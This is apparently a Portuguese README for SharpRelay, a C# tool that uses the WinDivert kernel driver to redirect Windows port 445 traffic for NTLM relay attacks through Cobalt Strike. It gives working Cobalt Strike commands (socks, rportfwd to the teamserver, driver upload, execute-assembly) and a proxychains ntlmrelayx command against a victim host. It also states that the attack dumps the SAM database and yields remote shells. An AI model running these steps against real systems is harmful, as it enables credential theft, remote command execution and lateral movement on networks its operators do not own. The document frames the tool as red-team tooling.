
Ferramenta em C# que utiliza o driver WinDivert para interceptar e redirecionar o tráfego da porta 445 do Windows para ataques de retransmissão NTLM via Cobalt Strike, possibilitando movimento lateral e coleta de credenciais em operações de red team.
O único requisito para que este ataque funcione é ter um beacon com privilégios de administrador local ou com a capacidade de carregar drivers. O ataque usando o SharpRelay funciona da seguinte forma:
rportfwd do Cobalt Strike para encaminhar a porta 8445 do host comprometido para a porta 445 do nosso teamserverOs seguintes comandos de exemplo podem ser executados a partir do Cobalt Strike para realizar essas ações:
socks 4444
rportfwd 8445 127.0.0.1 445
cd C:\Users\victim
upload /root/Desktop/intercept.sys
execute-assembly /root/Desktop/SharpRelay.exe fakeservice C:\Users\victim\intercept.sys 445 8445
Quando todos os passos acima forem executados com sucesso, você precisa iniciar seu servidor de relay (configure o proxychains para a porta especificada nos comandos acima, ex.: 4444):
proxychains ntlmrelayx.py -t smb://<VICTIM-IP> -smb2support
O comando acima irá extrair o banco de dados SAM do host da vítima. Também é possível obter um shell SMB interativo, bem como executar comandos remotamente na vítima.
O SharpRelay foi testado contra Windows 10 x64.
Se você deseja compilar a ferramenta a partir do código-fonte, siga os passos abaixo:
As instruções acima foram testadas usando o Visual Studio 2019.
O SharpRelay é baseado no driver WinDivert. De acordo com sua descrição, o WinDivert é um driver de kernel que permite a interceptação e modificação de pacotes em modo de usuário. O usuário precisa especificar um filtro e qualquer pacote que corresponda a esse filtro será interceptado e pode ser modificado.
Do arquivo ReadMe:
The WinDivert.sys driver is installed below the Windows network stack. The
following actions occur:
(1) A new packet enters the network stack and is intercepted by WinDivert.sys
(2a) If the packet matches the PROGRAM-defined filter, it is diverted. The
PROGRAM can then read the packet using a call to WinDivertRecv().
(2b) If the packet does not match the filter, the packet continues as normal.
(3) PROGRAM either drops, modifies, or re-injects the packet. PROGRAM can
re-inject the (modified) using a call to WinDivertSend().
Para nós, a coisa mais importante que o WinDivert nos permite fazer é que podemos interceptar o tráfego destinado a uma porta aberta do Windows e redirecioná-lo para outra porta, modificando as portas de origem e destino TCP de cada pacote, recalculando as somas de verificação TCP e reinjetando os pacotes na pilha de rede.
No Windows, a porta 445 está sempre em execução por padrão. Não entrarei em detalhes sobre o processo usando a porta 445, pois isso já foi analisado no post a seguir, então vá em frente e leia:
O post acima também contém outra ideia interessante. Usar o WinDivert para realizar um ataque de relay SMB via Metasploit. Você pode carregar alguns DLLs e um arquivo de driver no host alvo junto com o divertTCPconn.exe e executá-los. Achei esse ataque incrível, mas o que não gostei foi que você tinha que carregar múltiplos DLLs no host alvo.
Então meu objetivo era fazer o mesmo ataque, deixando o mínimo de arquivos no disco e também executando o ataque através do Cobalt Strike.
Primeiramente, eu queria fazer uso da função execute-assembly do Cobalt Strike, então decidi escrever meu código usando o framework .NET. Meu pensamento inicial era reescrever o divertTCPconn em C# e então tudo funcionaria. Acontece que isso era muito complicado. Felizmente, encontrei o seguinte pacote NuGet escrito por TechnikEmpire:
Usando o WinDivertSharp, consegui escrever o SharpRelay para carregar o driver criando um serviço e comunicar com o driver WinDivert para realizar qualquer modificação de pacote que eu precisasse.